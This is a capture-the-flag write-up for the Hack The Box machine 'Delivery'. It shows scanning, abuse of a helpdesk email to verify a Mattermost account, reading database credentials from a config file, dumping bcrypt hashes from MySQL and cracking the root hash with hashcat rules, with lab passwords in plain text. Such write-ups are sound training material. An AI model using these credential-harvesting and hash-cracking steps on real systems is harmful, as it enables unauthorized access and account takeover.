Delivery Write-Up


Contents

Intro


Delivery was a very fun box! No flashy exploits, just follow the hints and grab the flags!

Foothold


[felixm@blackbear ~]$ nmap -sV -sC 10.10.10.222

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome

All we have is an Nginx web server on port 80 so let's take a look (NOTE: I don't always mention this but especially for this box you need to be updating your /etc/hosts as you go as some of these pages use subdomains):

This is a nice looking landing page, let's click "Contact Us":

Ok, so it looks like we need to use "HelpDesk" to get an email address and then we can access the "MatterMost server". Let's follow the HelpDesk link:

Not much we can do here, following the message from the previous page let's open a ticket:

I've just filled it with garbage, there is file upload however after reading the hints from the previous pages I'm assuming it's likely not a file upload vulnerability, let's submit this and see what happens. Also this box involves lots of credentials, passwords and ticket numbers so make sure you're noting it all down.

We now have a ticket number but also strangely an email. "If you want to add information to your ticket, just email 9905711@delivery.htb". This indicates that emailing that address will display the body of the email as a ticket addition. Let's keep this in mind and take a look at the ticket status:

Pretty standard ticket system, as stated before it seems we might be able to view the contents of emails through this system so let's go over to MatterMost:

Well we don't have a MatterMost account so let's go and create one:

Now we don't have a felixm@delivery.htb to use however our current theory is we can catch the verification email in the ticketing system so let's use the ticket email:

As we thought a verification email was sent so let's check our ticket status page:

As suspected the ticket system has displayed our verification email. The link seems a little bugged so lets just copy paste that into the browser to verify our account then log into MatterMost with our new account:

We're now in the internal MatterMost system. There are some very saucy messages here:

"Credentials to the server are maildeliverer:Youve_G0t_Mail!"

"Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of PleaseSubscribe!"

"PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases."

Reading those messages it seems we have SSH credentials maildeliverer:Youve_G0t_Mail!. It also appears we need to be looking for password hashes and we need to crack them. An extra little hint here is that their password is a variant of the phrase PleaseSubscribe!. Since it also says "may not be in RockYou" looks like we need to build our own wordlist using PleaseSubscribe! and since it's not exactly that phrase we need to use a ruleset. Looks like we're using Hashcat later. Anyway let's SSH into the box and start looking for those hashes.

Root


Best place to start looking for hashes is backend databases. So let's analyse the MatterMost folder and see if we can find a database or a config that points to a database:

maildeliverer@Delivery:~$ find / mattermost -type d | grep "mattermost" | grep -v find

/opt/mattermost
/opt/mattermost/i18n
/opt/mattermost/client
/opt/mattermost/client/i18n
/opt/mattermost/client/images
/opt/mattermost/client/images/favicon
/opt/mattermost/client/images/browser-icons
/opt/mattermost/client/images/cards
/opt/mattermost/client/emoji
/opt/mattermost/client/plugins
/opt/mattermost/client/files
/opt/mattermost/client/files/code_themes
/opt/mattermost/logs
/opt/mattermost/templates
/opt/mattermost/fonts
/opt/mattermost/data
/opt/mattermost/data/users
/opt/mattermost/plugins
/opt/mattermost/bin
/opt/mattermost/prepackaged_plugins
/opt/mattermost/config
/var/lib/mysql/mattermost

Some directories of interest: /opt/mattermost appears to be the main folder, /opt/mattermost/config maybe some insecure database credentials, now I would say that credentials could be in /opt/mattermost/data/users however after seeing /var/lib/mysql/mattermost I'm assuming we're looking at an SQL database. Let's confirm:

maildeliverer@Delivery:~$ mysql -h localhost 

ERROR 1698 (28000): Access denied for user 'maildeliverer'@'localhost'

It appears they have a unique SQL user, let's try and look for credentials in /opt/mattermost/config/. After running cat /opt/mattermost/config/config.json there is a json object called "SqlSettings":

"SqlSettings": {
    "DriverName": "mysql",
    "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
    "DataSourceReplicas": [],
    "DataSourceSearchReplicas": [],
    "MaxIdleConns": 20,
    "ConnMaxLifetimeMilliseconds": 3600000,
    "MaxOpenConns": 300,
    "Trace": false,
    "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
    "QueryTimeout": 30,
    "DisableDatabaseSearch": false
}

Now we have a user and password for MySQL: mmuser:Crack_The_MM_Admin_PW. The password itself hints that once inside we need to locate the admin password and then crack it. But we had already deduced this from earlier hints so let's just find the hash:

maildeliverer@Delivery:~$ mysql -h localhost -u mmuser -p mattermost

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 112
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

MariaDB [mattermost]> 

Now we can view tables:

MariaDB [mattermost]> show tables;

+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+

Users is likely to hold credentials so let's dump the columns:

MariaDB [mattermost]> show columns from Users;

+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| Id                 | varchar(26)  | NO   | PRI | NULL    |       |
| CreateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| UpdateAt           | bigint(20)   | YES  | MUL | NULL    |       |
| DeleteAt           | bigint(20)   | YES  | MUL | NULL    |       |
| Username           | varchar(64)  | YES  | UNI | NULL    |       |
| Password           | varchar(128) | YES  |     | NULL    |       |
| AuthData           | varchar(128) | YES  | UNI | NULL    |       |
| AuthService        | varchar(32)  | YES  |     | NULL    |       |
| Email              | varchar(128) | YES  | UNI | NULL    |       |
| EmailVerified      | tinyint(1)   | YES  |     | NULL    |       |
| Nickname           | varchar(64)  | YES  |     | NULL    |       |
| FirstName          | varchar(64)  | YES  |     | NULL    |       |
| LastName           | varchar(64)  | YES  |     | NULL    |       |
| Position           | varchar(128) | YES  |     | NULL    |       |
| Roles              | text         | YES  |     | NULL    |       |
| AllowMarketing     | tinyint(1)   | YES  |     | NULL    |       |
| Props              | text         | YES  |     | NULL    |       |
| NotifyProps        | text         | YES  |     | NULL    |       |
| LastPasswordUpdate | bigint(20)   | YES  |     | NULL    |       |
| LastPictureUpdate  | bigint(20)   | YES  |     | NULL    |       |
| FailedAttempts     | int(11)      | YES  |     | NULL    |       |
| Locale             | varchar(5)   | YES  |     | NULL    |       |
| Timezone           | text         | YES  |     | NULL    |       |
| MfaActive          | tinyint(1)   | YES  |     | NULL    |       |
| MfaSecret          | varchar(128) | YES  |     | NULL    |       |
+--------------------+--------------+------+-----+---------+-------+

Let's view Username & Password:

MariaDB [mattermost]> select Username,Password from Users;

+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+

Well looks like we've found our user and the hash. To be able to crack this we need to know how it's hashed/encrypted, I was however let down by my trusty Hash-Identifier so I'm using this online tool:

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO - Possible algorithms: bcrypt $2*$, Blowfish (Unix)

Now we know it's Blowfish we can start setting up hashcat to brute force this. Remember what was mentioned before "Especially those that are a variant of PleaseSubscribe!". Hashcat has "rulesets" that allow you to test varients of the words in your wordlist when bruteforcing. Since we know the password is a variant of the phrase "PleaseSubscribe!" we can build a custom wordlist. Just create a file called wordlist.txt and put "PleaseSubscribe!" (without the quotes of course) into it. Next make a file called hash.txt and put the hash in there. Also I'm doing this on my Windows box as I can utilise my actual hardware:

C:\hashcat-5.1.0>hc64.exe -m 3200 hash.txt wordlist.txt -r rules/dive.rule -w 3

Session..........: hashcat
Status...........: Cracked
Hash.Type........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Sun Jan 24 10:43:27 2021 (1 mins, 4 secs)
Time.Estimated...: Sun Jan 24 10:45:31 2021 (0 secs)
Guess.Base.......: File (wordlist.txt)
Guess.Mod........: Rules (rules\dive.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      121 H/s (17.21ms) @ Accel:32 Loops:16 Thr:8 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 14924/16250104 (0.09%)
Rejected.........: 0/14924 (0.00%)
Restore.Point....: 0/164 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:90-91 Iteration:1008-1024
Candidates.#1....: PleaseSubscribe!21 -> PleaseSubscribe!21
Hardware.Mon.#1..: Temp: 54c Fan: 33% Util: 95% Core:1923MHz Mem:5005MHz Bus:16

Root password apears to be PleaseSubscribe!21 let's su root!

root@Delivery:~# whoami && id

root
uid=0(root) gid=0(root) groups=0(root)

Fun box! Happy hacking, goodluck on your next boxes!